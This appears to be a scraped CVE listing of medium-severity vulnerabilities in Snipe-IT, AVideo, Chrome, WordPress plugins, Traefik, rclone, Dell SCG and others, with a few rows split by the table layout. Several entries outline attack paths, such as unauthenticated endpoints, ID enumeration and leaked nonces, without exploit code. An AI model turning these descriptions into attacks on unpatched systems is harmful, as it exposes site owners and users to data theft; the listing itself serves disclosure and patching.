CVE-2026-87025	Tanium addressed an improper access controls vulnerability in Comply.	5.4	More Details
CVE-2026-87033	Tanium addressed an improper access controls vulnerability in Comply.	5.4	More Details
CVE-2026-87037	Tanium addressed an improper access controls vulnerability in Comply.	5.4	More Details
CVE-2026-87048	Tanium addressed an improper access controls vulnerability in Comply.	5.4	More Details
CVE-2026-86768	Snipe-IT before 8.7.0 fails to validate soft-deleted state in API checkout endpoints, allowing authenticated users with checkout permissions to bind live inventory to trashed targets. Attackers can submit POST requests to hardware, component, or consumable checkout endpoints with soft-deleted user, asset, or location IDs to create orphaned references that corrupt the asset ledger and audit trails.	5.4	More Details
CVE-2026-87599	Improper input validation in Interstitials in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-86772	Snipe-IT versions before 8.7.0 contain a stored cross-site scripting vulnerability in DepartmentPresenter::formattedNameLink() where department names are rendered unescaped in the fallback branch for users without departments.view permission. Users with departments.edit permission can inject malicious scripts into department names that execute in the browsers of all department members when they load their My Assets page.	5.4	More Details
CVE-2026-86773	Snipe-IT through version 8.6.3 fails to perform object-level authorization in the updateLicense, updateConsumable, updateAccessory, and updateModel endpoints and in the storeModel endpoint for Predefined Kits. The existing check authorizes only the parent Predefined Kit (update on PredefinedKit) and not the child object being attached. As a result, an authenticated user holding only the kits.edit permission can attach a License, Consumable, Accessory, or Asset Model that they are otherwise denied (HTTP 403) from reading directly to a Predefined Kit, and the kit relation index then discloses the attached object's name back to that low-privilege user. This is the update-path and storeModel counterpart to CVE-2026-55478, which fixed only the storeLicense, storeConsumable, and storeAccessory methods in 8.6.2. Note that updateModel was code-vulnerable in 8.6.3 but not reachable in practice because a route-name typo bound the route to a nonexistent controller method, causing HTTP 500 responses. The issue is fixed in Snipe-IT 8.7.0.	5.4	More Details
CVE-2026-87484	UI misrepresentation in Geometry in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-86752	snipe-it versions before 8.7.0 fail to enforce per-instance FMCS scoping in asset audit endpoints, relying solely on query-layer filtering instead of policy-layer authorization checks. Attackers with valid sessions and assets.audit permissions could write audit log entries against cross-company assets if the query-layer scope were bypassed or refactored.	5.4	More Details
CVE-2026-89268	QloApps through 1.7.0 renders back-office list filter POST parameters into HTML input value attributes without escaping them in the list helper template. Attackers can induce authenticated users to submit crafted POST requests with malicious payloads to list controllers, executing arbitrary JavaScript in the victim's session to read administrative data and perform actions.	5.4	More Details
CVE-2026-	Rattler is a library that provides common functionality used within the conda ecosystem. `rattler_cache` prior to version 0.9.0 and `py-rattler` prior to version 0.24.0 were vulnerable to package-cache path traversal when handling package metadata from conda channels. During cache materialization, the `ratter_cache` code used the package record `build` string as part of a cache key that was joined into a filesystem path. A malicious or untrusted channel could publish repodata with path separators or traversal components in that	5.4	More Details

53956	field, causing package contents to be written outside the configured package cache directory. The issue requires use of a malicious or otherwise untrusted conda channel. Curated channels that validate package metadata are not expected to allow malformed build strings of this form. Users should upgrade to `rattler_cache` version 0.9.0 or `py-rattler` version 0.24.0 and avoid untrusted conda channels.		
CVE-2026-87445	UI misrepresentation in Session in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-14565	The advanced-customized-prompts WordPress plugin through 1.0.1 does not perform any capability, ownership, or nonce check before saving popup configuration to a product, nor escape the stored values on output, allowing any authenticated user such as a subscriber to store JavaScript that executes in the browser of visitors viewing the affected product.	5.4	More Details
CVE-2026-89148	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains an open redirect in objects/playlistSort.php. Because the endpoint is not a *.json.php script, AVideo's automatic CSRF guard (autoCSRFGuard()/forbidIfIsUntrustedRequest()) does not run, and when the request includes the sort parameter the script issues a Location header set to the unvalidated $_SERVER['HTTP_REFERER'] value without calling isSafeRedirectURL(). A remote unauthenticated attacker can therefore induce a logged-in user who can manage the targeted playlist to submit a cross-origin POST with a crafted Referer, causing the victim's playlist to be reordered and the victim's browser to be redirected from a trusted AVideo URL to an attacker-controlled site for phishing. No patched version is available.	5.4	More Details
CVE-2026-89257	AVideo through 29.0 contains an insecure direct object reference (IDOR) vulnerability in objects/categoryDeleteAssets.json.php. The endpoint validates only the Category::canCreateCategory() capability and a CSRF nonce before passing the attacker-supplied $_REQUEST['id'] to Category::deleteAssets(), which recursively removes {systemRootPath}videos/categories/assets/{id}/. It omits the Category::userCanEditCategory() ownership check enforced by the sibling Category::delete(). On installations where the non-default usersCanCreateNewCategories setting is enabled, an authenticated non-admin user with the canUpload capability can send a POST request with an arbitrary category ID and recursively delete any category's on-disk asset directory (icons/images). Category records and videos are not deleted. As of the advisory publication no patched version was available.	5.4	More Details
CVE-2026-89246	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a CSV formula injection vulnerability in the myComments.download.php endpoint that fails to sanitize spreadsheet formula prefixes in comment text. Authenticated users can inject formulas starting with =, +, -, or @ characters that execute when administrators or video owners open the exported CSV file in spreadsheet applications.	5.4	More Details
CVE-2026-87462	UI misrepresentation in FedCM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-88764	The Simple Membership WordPress plugin before 4.7.8 does not validate that the membership level supplied in a PayPal payment notification matches the level configured for the paid payment button, allowing members to pay for a lower-priced membership while being granted a higher, more privileged membership level.	5.4	More Details
CVE-2026-87458	UI misrepresentation in Geometry in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)	5.4	More Details
CVE-2026-90499	A security flaw has been discovered in lenve vhr 1.0-SNAPSHOT. This affects the function HrInfoController.updatePass of the file /hr/pass of the component Password Update Handler. The manipulation of the argument hrid results in improper authorization. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	5.4	More Details
CVE-2025-63842	A Cross-Site Scripting (XSS) vulnerability in the web backend for the Repetico app 1.9.7.31 for Android allows a remote authenticated user to execute arbitrary JavaScript code in the app's context via crafted input in the multiple-choice question text field.	5.4	More Details
CVE-2026-87928	MaxSite CMS versions 0.94 through 109.6 contain a cross-site scripting vulnerability in the admin_page upload handler that allows any logged-in user to upload HTML files. Attackers can upload HTML containing malicious scripts to the uploads/_pages/ directory, which executes in visitors' browsers when the file is accessed, enabling persistent stored cross-site scripting attacks.	5.4	More Details
CVE-2026-85418	The Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More WordPress plugin before 3.0.9 does not validate a user-supplied HTML tag name in one of its Beaver Builder widgets before echoing it into the rendered markup, allowing users with contributor-level access and above to inject arbitrary web scripts that execute when any visitor views the affected page.	5.4	More Details
	A stored Cross-Site Scripting (XSS) vulnerability exists in the announcement preview component of REBUILD		

CVE-2026-71802	4.4.3. Although the announcement content undergoes HTML escaping on the server side, the client-side preview code reverses the escaped entities using jQuery's `html().text()` method and subsequently injects the result into the DOM. An administrator or attacker capable of controlling the announcement content can exploit this vulnerability to execute arbitrary JavaScript code in the browsers of users viewing the affected pages "which may include the dashboard, activity feed, or login page, depending on the announcement's visibility settings.	5.4	More Details
CVE-2025-71418	PocketMine-MP versions before 5.25.2 fail to limit the explode() function in packet parsing, allowing malicious clients to waste server resources. Attackers can send crafted packets with excessive delimiters to consume CPU and memory through sign editing, JWT parsing, and command parsing endpoints.	5.3	More Details
CVE-2026-79969	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.	5.3	More Details
CVE-2026-87566	Observable discrepancy in Layout in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak sensitive information via a crafted HTML page. (Chromium security severity: Medium)	5.3	More Details
CVE-2026-90782	S2OPC through 1.7.3 contains a null pointer dereference in msg_subscription_publish_bs__alloc_notification_message_items() where a failed allocation for DataChangeNotification is overwritten by a successful allocation for EventNotificationList. Attackers can trigger heap allocation failures on sessions with both data-change and event notifications to cause the server process to terminate.	5.3	More Details
CVE-2026-21092	Path traversal in ImsService prior to SMR Sep-2026 Release 1 allows remote attackers to create image files with system server privilege.	5.3	More Details
CVE-2026-88012	Traefik is an open source HTTP reverse proxy and load balancer. From 2.8.2 until 2.11.56 and 3.7.12, HTTP/3 entrypoints do not apply entryPoints..transport.respondingTimeouts.readTimeout because the timeout is enforced on a TCP connection and the HTTP/3 server has no corresponding QUIC stream deadline. An unauthenticated client can use a slow request body, trickling data indefinitely while holding a request and an upstream connection open and exhausting backends with bounded connection pools. This issue is fixed in 2.11.56 and 3.7.12.	5.3	More Details
CVE-2026-90548	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate user permissions in the ImageGallery list.json.php endpoint, allowing unauthenticated access to list gallery files. Attackers can retrieve filenames and URLs of password-protected image galleries by directly accessing the endpoint, then fetch the exposed files without authentication.	5.3	More Details
CVE-2026-87453	Confused deputy in BackgroundFetch in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to leak sensitive information via a crafted HTML page. (Chromium security severity: Medium)	5.3	More Details
CVE-2026-88015	rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.75.1, backend/local with --links or links=true exposes symlink targets as .rclonelink objects, and fs.RangeOption.Decode can pass an unchecked positive Range start through Object.Open and openTranslatedLink. The function slices the target string as linkdst[offset:], so a Range start larger than the target length causes a deterministic slice-bounds panic when lib/http/serve exposes the object through HTTP or WebDAV. Go net/http normally recovers the panic per connection, causing request-level denial of service rather than terminating the entire process. This issue is fixed in version 1.75.1.	5.3	More Details
CVE-2026-90541	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to require authentication in the plugin/TopMenu/menus.json.php endpoint, allowing unauthenticated attackers to retrieve all menu data. Attackers can send GET requests to the endpoint to read inactive and admin-only menu names that are not displayed in the public navbar.	5.3	More Details
CVE-2026-88940	knowns through 0.33.0 fails to validate the path query parameter in the workspace browse endpoint, allowing remote attackers to enumerate arbitrary directories on the host filesystem. Attackers can traverse the directory structure to locate project directories and identify targets for further exploitation.	5.3	More Details
CVE-2026-14562	The teddy-bear-customize-addon WordPress plugin through 1.0.5 does not perform any authorization or ownership checks before returning WooCommerce order metadata and the URLs of customer-uploaded attachments, allowing unauthenticated attackers to disclose other customers' order and attachment data.	5.3	More Details
CVE-2026-	NL Portal Backend Libraries provide backend components for Dutch government portals that interact with residents, customers, suppliers, and partner organizations. In versions up to and including 3.0.0, deployments using the shipped default configuration exposed two GraphQL developer features without requiring authentication: the GraphiQL playground, an interactive UI for issuing GraphQL queries; and schema introspection, which lets a caller download the full description of every query, mutation, type, and argument the API supports. Anyone who could reach the `/graphiql` endpoint could open the playground in a browser,	5.3	More Details

49462	pull the full schema, and use that to map out the API and craft calls against it. By itself this does not leak user data, but it removes the guesswork from attacking the rest of the API and significantly lowers the bar for finding and exploiting other weaknesses. Version 3.0.1 patches the issue. As a workaround, override the two settings in deployed configuration.		
CVE-2026-88046	rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.75.1, rclone core does not reject parent-directory segments in source Object.Remote() values before fs/list, fs/walk, fs/sync, and fs/operations pass those values to destination backends. A flat-keyspace source object store populated with native non-rclone tooling can contain a raw .. key segment, and affected b2, swift, qingstor, oracleobjectstorage, internetarchive, smb, storj, sftp, webdav, ftp, filelu, shade, and sia destinations use path.Join(root, remote) before EncodeDot can neutralize the segment. A copy or upload can therefore escape the configured root into another bucket, share, or path reachable by the victim credential, with sftp and smb potentially reaching other filesystem or share locations under the same login authority. This issue is fixed in version 1.75.1.	5.3	More Details
CVE-2026-81647	Out-of-bounds read vulnerability in the graphics module. Impact: Successful exploitation of this vulnerability may affect availability.	5.3	More Details
CVE-2026-83537	The WP Express Checkout WordPress plugin before 2.5.0 does not verify server-side that a payment was actually completed before marking an order as paid, allowing unauthenticated users to forge a completed order without paying.	5.3	More Details
CVE-2026-89248	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 is missing an authentication/authorization check in plugin/WebRTC/status.json.php. When the WebRTC plugin is present, any unauthenticated remote user can request /plugin/WebRTC/status.json.php and receive JSON containing the absolute filesystem path of the WebRTC2RTMP helper binary (revealing the document-root path), the configured WebRTC port, file_exists/is_executable status for the binary, the contents of the WebRTC log/JSON files (videos/WebRTC2RTMP.log) when present, and whether the configured port is reachable on loopback (127.0.0.1) and on the public address. The endpoint performs no User::isLogged(), User::isAdmin(), or forbiddenPage() check. The issue was unfixed at the time of reporting.	5.3	More Details
CVE-2026-90543	WWBN AVideo at commit c3edcc274c389816d434acadac07ee78eaf330c1 and earlier, with the Live plugin enabled, contains a missing authentication vulnerability in plugin/Live/socketMessageLiveOwner.json.php. The script reads the `key` and `msg` parameters from $_REQUEST, resolves the stream owner via LiveTransmition::keyExists, and verifies that the stream owner (not the caller) is an administrator; it performs no User::isLogged() check and enforces no CSRF token. As a result, an unauthenticated remote attacker who knows an administrator's Live stream key can call sendSocketSuccessMessageToUsers_id and deliver arbitrary in-app/socket notification messages to that administrator. The issue was unpatched at the time of publication.	5.3	More Details
CVE-2026-82848	The Masteriyo LMS WordPress plugin before 3.4.0 does not perform any authorization check before returning a course enrolment record over its REST API, allowing unauthenticated users to read any learner's enrolment status, timestamps and course-progress data by walking sequential record identifiers. A related gap lets any enrolled user retrieve other learners' enrolment records as well.	5.3	More Details
CVE-2026-90547	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate user permissions in the Bookmark plugin getBookmarks.json.php endpoint, allowing unauthenticated attackers to read chapter names from password-protected videos. Attackers can query the endpoint with a video ID parameter to retrieve sensitive chapter metadata without authentication or password verification.	5.3	More Details
CVE-2026-87894	The Rox Appointment Booking WordPress plugin before 1.2.3 does not perform any authorization check on the endpoint that returns a booking's confirmation details, and each booking is addressed by a sequential numeric identifier, allowing unauthenticated attackers to read any customer's name, email, phone, booking details and payment status by enumerating that identifier.	5.3	More Details
CVE-2026-87594	Incorrect authorization in DataTransfer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)	5.3	More Details
CVE-2026-82305	The YITH WooCommerce Wishlist WordPress plugin before 4.18.1 does not verify that a user is authorised to rename a given wishlist, allowing unauthenticated users to rename any wishlist on the site.	5.3	More Details
CVE-2026-88878	Traefik is an HTTP reverse proxy and load balancer. In versions >= v2.8.2 through <= v2.11.55 and >= v3.0.0 through <= v3.7.11, the entryPoints.<name>.transport.respondingTimeouts settings — notably readTimeout, which is enabled by default at 60s — are not applied to the HTTP/3 request path. readTimeout is enforced as a deadline on the underlying TCP connection, which cannot be applied to a QUIC stream, and Traefik's HTTP/3 server is constructed without any timeout. As a result, on entry points with HTTP/3 enabled, an unauthenticated remote client that trickles request body bytes can hold a request open indefinitely and, with it, one upstream connection per request, exhausting bounded backend connection pools and causing	5.3	More Details

	denial of service. The issue was introduced in v2.8.2 when a quic-go API change removed the embedded http.Server that carried these timeouts. Fixed in v2.11.56 and v3.7.12.		
CVE-2026-88995	The Bookit — Booking & Appointment Calendar WordPress plugin before 2.6.0.1 does not properly restrict the data returned by an availability-check request, allowing unauthenticated users to retrieve other customers' appointment details, including free-text booking comments and contact information.	5.3	More Details
CVE-2026-90584	A weakness has been identified in TooTallNate Java-WebSocket up to 1.6.1. The impacted element is the function processFrameContinuousAndNonFin of the file Draft_6455.java of the component Fragmentation Handler. Executing a manipulation can lead to allocation of resources. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The pull request to fix this issue awaits acceptance.	5.3	More Details
CVE-2026-78152	The SureRank SEO WordPress plugin before 1.10.1 does not exclude users' registered account email addresses from the structured data it outputs on public pages by default, allowing unauthenticated visitors to obtain the email address of any user who has published content.	5.3	More Details
CVE-2026-85037	The Sunshine Photo Cart WordPress plugin before 3.7 does not validate that a client-supplied price identifier belongs to the item being purchased when it is added to the cart, allowing unauthenticated users to buy items at a lower price defined elsewhere on the site and complete an order at that price, resulting in financial loss for the site owner.	5.3	More Details
CVE-2026-89175	Smart Video Intercom System developed by Kingdom Communication Associated has a Client-Side Authentication vulnerability. Unauthenticated remote attackers can bypass authentication to access specific pages and obtain partial system configuration values.	5.3	More Details
CVE-2026-87859	morgan is an HTTP request logger middleware for Node.js. In versions before 1.12.1, its escapeLogField() function does not escape the double quote character, which delimits the quoted fields of the Apache combined log format that morgan emits. An unauthenticated remote attacker who controls a value written to a quoted field, such as the User-Agent or Referer header, can include a double quote to close that field early, so a log consumer that parses the log by field position reads attacker-supplied text as the following field. In the built-in formats this makes the recorded value differ from the value that was sent, and in custom formats that quote an attacker-controlled token before a server-controlled one it can forge values such as the response status. No newline is injected, so record separation stays intact. The issue is fixed in morgan 1.12.1, which escapes the double quote. Users should upgrade to morgan 1.12.1 or later.	5.3	More Details
CVE-2026-89173	Smart Video Intercom System developed by Kingdom Communication Associated has a Sensitive Data Exposure vulnerability. Unauthenticated remote attackers can enumerate valid user accounts by exploiting differences in system responses.	5.3	More Details
CVE-2026-12956	The WP Event Solution (Eventin) plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 4.1.22 via the create_item() handler for the /wp-json/eventin/v2/orders REST endpoint. The endpoint's create_item_permissions_check() function only verifies a wp_rest nonce (which is leaked to every visitor through the etn-public script's localized_data_obj on every frontend page) and accepts a user-supplied 'status' value in prepare_item_for_database() with no whitelist validation. This makes it possible for unauthenticated attackers to create etn-order posts with status='completed' that are counted as sold by etn_get_sold_tickets_by_event(); because the auto-cleanup wp_schedule_single_event() in create_item() only fires for status='pending' orders, the forged completed orders persist indefinitely and exhaust ticket inventory.	5.3	More Details
CVE-2026-82213	The Nexi XPay Build WordPress plugin from 7.6.1 to 7.6.2 does not verify that the saved payment token being requested belongs to the current user, allowing unauthenticated attackers to retrieve other customers' stored card token references together with a valid authorisation signature.	5.3	More Details
CVE-2026-88896	EspoCRM before 10.0.4 is vulnerable to server-side request forgery. HostCheck::ipAddressIsNotInternal(), which validates outbound URLs to block requests to internal/private IP addresses, strips ::ffff: (IPv4-mapped IPv6) prefixes but does not recognize IPv6 transition addresses that embed private IPv4 addresses: NAT64 (64:ff9b::), 6to4 (2002::), and Teredo (2001:0000::). An attacker who controls a domain with AAAA records pointing to such transition addresses can bypass both the internal-host validation and the CURLOPT_RESOLVE IP-pinning check, causing EspoCRM to issue outbound requests to internal network services. Affected paths include POST /Attachment/fromImageUrl, reachable by any authenticated user with attachment access, and outbound webhook delivery, which requires an admin or API user.	5.3	More Details
CVE-2026-90550	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to check user authorization in the PlayerSkins mediaSession.json.php endpoint before returning video metadata. Unauthenticated attackers can request the endpoint with a video ID parameter to retrieve password-protected video titles and owner email addresses without authentication.	5.3	More Details
CVE-2026-90549	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to properly authorize access to the videosAndroid.json.php endpoint, allowing unauthenticated guests to list password-protected videos with sensitive owner information. Attackers can retrieve video metadata including owner email, lastLogin, filename, and hashId by sending an unauthenticated GET request to the endpoint.	5.3	More Details

CVE-2026-87435	Information leak in ControlledFrame in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)	5.3	More Details
CVE-2026-15461	The Sierra Wireless HL78xx modem GNSS driver (drivers/modem/hl78xx/, later drivers/modem/vendor_standalone/hl78xx/) embeds a generic struct gnss_nmea0183_match_data match_data inside struct hl78xx_gnss_data. The generic NMEA0183 match helper (drivers/gnss/gnss_nmea0183_match.c) requires that context to be the first member because its callbacks cast user_data directly to struct gnss_nmea0183_match_data . In the affected releases match_data was the second member (after const struct device dev), so it sat at a non-zero offset while gnss_nmea0183_match_init() initialized it at the correct address. The registered NMEA handlers instead pass the whole device data object (data->devices.gnss->data, offset 0), producing an offset-shifted type confusion between where state is initialized and where the parse callbacks read and write it. When NMEA sentences from the GNSS receiver are parsed, the GGA/RMC callbacks write parsed fix data into the wrong location within the struct, and the GSV callback (gnss_nmea0183_match_gsv_callback, active under CONFIG_GNSS_SATELLITES) reads its satellites pointer and bound from the wrong offsets — non-pointer bytes of struct hl78xx_gnss_data — and then writes parsed struct gnss_satellite entries through that bogus pointer. This is a write through an uninitialized/wild pointer with a garbage bound. The NMEA handlers are registered by default (CONFIG_HL78XX_GNSS_SOURCE_NMEA is the default GNSS source) on devices using the HL78xx GNSS. The driver runs in kernel context and the NMEA data originates from the GNSS radio front-end, so a party able to influence the GNSS signal (for example GNSS/GPS spoofing at radio proximity) can drive the kernel-side parser into the faulty write. The most likely impact is a crash (denial of service) because the bogus pointer resolves to a fixed near-NULL value, with adjacent-memory corruption possible on MMU-less targets. Confidentiality is not affected. Exploitation requires the satellites feature to be enabled and active, so attack complexity is high.	5.3	More Details
CVE-2026-86809	The Persian Elementor WordPress plugin from 2.7.10 before 2.8.2 does not verify that the payment authority returned to its ZarinPal payment callback belongs to the transaction being completed, allowing unauthenticated attackers to complete a pending order using a valid payment authority obtained from a different transaction.	5.3	More Details
CVE-2026-86200	PocketMine-MP versions before 5.42.1 contain a denial of service vulnerability in the LoginPacket handler that allows remote attackers to flood warning messages by injecting numerous junk properties into the clientData JWT. Attackers can craft malicious login packets with excessive unknown properties to waste server CPU time and degrade performance.	5.3	More Details
CVE-2026-9161	Observable response discrepancy vulnerability in DernekPlus Website Template allows Account Footprinting. This issue affects Website Template: through 10092026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	5.3	More Details
CVE-2026-87439	Information leak in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)	5.3	More Details
CVE-2026-87605	Missing authorization in Contacts in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)	5.3	More Details
CVE-2026-84908	The WPFunnels plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 3.12.13. This is due to the plugin registering the 'wpfnl_load_payment' AJAX action for both authenticated and unauthenticated (wp_ajax_nopriv_) users and the underlying add_offer_product_to_cart() function performing no nonce verification, no capability check, and no validation that the attacker-supplied product_id is the offer product actually configured on the attacker-supplied step_id. This makes it possible for unauthenticated attackers to add arbitrary WooCommerce products to a cart at any discounted price configured on any funnel step, enabling price manipulation and revenue loss at checkout.	5.3	More Details
CVE-2026-84222	The Kirki WordPress plugin before 6.3.0 does not check whether the requester is allowed to read a post before rendering and returning its page content, allowing unauthenticated users to retrieve the content of pages that are not publicly available, such as private, draft, pending and trashed ones.	5.3	More Details
CVE-2026-90551	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate playlist ownership in the video_from_program API endpoint, allowing unauthenticated access to private playlist contents. Attackers can query the API without authentication to enumerate private playlist names, owner information, and video titles including password-protected content.	5.3	More Details
CVE-2026-79971	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Sanitization of Custom Special Characters vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.	5.3	More Details
CVE-2026-79964	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Escape, Meta, or Control Sequences vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to launch of phishing attacks.	5.3	More Details

CVE-2026-79952	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Encoding or Escaping of Output vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to launch of phishing attacks.	5.3	More Details
CVE-2026-90538	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a missing authorization vulnerability in playlistsFromUser.json.php that allows unauthenticated attackers to read private playlists by requesting another user's identifier. Attackers can retrieve Favorite and Watch Later playlists belonging to other users due to improper cache keying that conflates requests across different user contexts.	5.3	More Details
CVE-2026-86781	The SSL Zen — SSL Certificate Installer & HTTPS Redirects WordPress plugin before 4.7.40 does not perform capability or nonce checks on a certificate-file download routine that runs early in the WordPress admin request lifecycle, allowing any authenticated user, including Subscribers, to download the site's TLS private key, certificates, and diagnostic logs.	5.3	More Details
CVE-2026-90539	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a missing authentication vulnerability in the plugin/TopMenu/menuItems.json.php endpoint that allows unauthenticated attackers to read inactive admin menu items by submitting a POST request with a menuId parameter. Attackers can retrieve hidden menu item URLs including embedded admin-tool secret query parameters not exposed in the public navbar.	5.3	More Details
CVE-2026-62140	Unauthenticated Insecure Direct Object References (IDOR) in Quiz And Survey Master <= 11.2.5 versions.	5.3	More Details
CVE-2026-79741	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.	5.3	More Details
CVE-2026-90582	A vulnerability was identified in evanchiu serverless-todo 1.0.3/2.0.0. Impacted is the function saveTodos of the file src/index.js of the component API Todo Endpoint. Such manipulation of the argument event.body leads to resource consumption. The attack can be executed remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.	5.3	More Details
CVE-2026-87810	Siyuan before v3.8.2 contains an information disclosure vulnerability in the POST /api/search/fullTextSearchBlock endpoint that filters private blocks from results but returns unfiltered match counts. Unauthenticated publish-mode readers can submit arbitrary search terms to learn whether matching content exists in hidden or unpublished documents and determine the number of matching blocks and pages.	5.3	More Details
CVE-2026-79941	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.	5.3	More Details
CVE-2026-81021	The SupportCandy WordPress plugin before 3.5.3 does not perform an authorization check on one of its support-ticket attachment download paths, allowing unauthenticated attackers to read protected customer-uploaded attachments by enumerating sequential attachment identifiers.	5.3	More Details
CVE-2026-87523	Race condition in DataTransfer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)	5.3	More Details
CVE-2026-79946	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Alternate XSS Syntax vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.	5.3	More Details
CVE-2026-17585	The Royal Addons for Elementor – Addons and Templates Kit for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.7.1066 via the 'wpr_keyword' parameter. This makes it possible for unauthenticated attackers to extract arbitrary postmeta values from all published posts via character-by-character substring matching across the entire wp_postmeta table. The required nonce is emitted publicly via wp_localize_script on any frontend page that loads a Royal Elementor widget, meaning no authenticated session or prior action is needed to obtain it.	5.3	More Details
CVE-2026-90494	A flaw has been found in restify node-restify up to 12.0.0. This affects the function serveStatic in the library /lib/plugins/static.js. This manipulation causes path traversal. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.	5.3	More Details
	The mcumgr SMP settings-management group handlers settings_mgmt_read(), settings_mgmt_write(), and settings_mgmt_delete() in subsys/mgmt/mcumgr/grp/settings_mgmt/src/settings_mgmt.c allocate a key_name buffer (and, for read, a data buffer) via k_malloc() when		

CVE-2026-15892	CONFIG_MCUMGR_GRP_SETTINGS_BUFFER_TYPE_HEAP is enabled, relying on the end: label to k_free() them. When CONFIG_MCUMGR_GRP_SETTINGS_ACCESS_HOOK is also enabled and the application access hook rejects a request by returning status MGMT_CB_ERROR_RC, the handler executed return ret_rc; directly, bypassing end: and leaking the heap allocation on every rejected request. The settings handlers are reachable over the unauthenticated SMP transport (Bluetooth LE, UART, or UDP, depending on product configuration). The access hook is the mechanism applications use to deny unauthorized settings access, and MGMT_CB_ERROR_RC is a common rejection style, so an attacker who can send settings read/write/delete commands that the hook rejects triggers a heap leak on each attempt. Because the leaked memory is never reclaimed until reboot, a sustained stream of rejected requests monotonically exhausts the kernel heap until k_malloc() fails, denying mcumgr service and impacting any other heap consumer on the device — a denial of service. The impact is availability-only; there is no memory corruption or information disclosure. Only configurations that select the heap buffer type, enable the access hook, and register a hook that returns MGMT_CB_ERROR_RC are affected (the default stack buffer type cannot leak).	5.3	More Details
CVE-2026-89263	MoguBlog through 6.2 fails to authenticate requests to the /web/comment/closeEmailNotification endpoint, allowing unauthenticated attackers to disable email notifications for arbitrary users. Remote callers can modify the startEmailNotification flag in Redis cache for any user identifier to suppress reply notifications without authorization.	5.3	More Details
CVE-2026-80340	The Payment Plugins for PayPal WooCommerce WordPress plugin before 2.0.26 does not validate the order key before adding order data to the JavaScript configuration it outputs on the front end, allowing unauthenticated users to obtain the secret that gates access to any order and, through it, that customer's billing and shipping details, by iterating sequential order identifiers.	5.3	More Details
